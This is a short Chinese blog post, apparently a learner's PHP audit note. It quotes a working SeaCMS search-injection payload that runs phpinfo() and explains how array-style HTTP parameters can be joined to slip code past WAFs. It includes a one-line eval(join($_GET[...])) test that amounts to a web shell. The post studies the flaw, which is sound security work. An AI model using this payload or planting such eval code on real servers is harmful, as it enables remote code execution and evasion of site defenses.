最近开始学习php审计,刚好赶上研究seacms,就发现了payload处一个奇怪的点
searchtype=5&searchword={ if{searchpage:year}&year=:e{searchpage:area} }&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();
就尝试了一下,发现在接收数据时,例:
键名=a,那传递a[]=a&a[]=b时,a即为一个数组,便做了个测试,果真如此
服务器端测试代码
<?php print_r($_GET[1]); ?>
测试结果如下
那么这一个有什么用呢?思考了一下,如果服务器上有安全狗或者waf等防护工具,那么配合其他php函数,例如join函数,可能可以达到绕过效果
提供一个简单思路
服务器测试代码
<?php eval(join($_GET[123])); ?>
测试结果如下
以上是php如何通过http请求发送数组的实例分享的详细内容。更多信息请关注PHP中文网其他相关文章!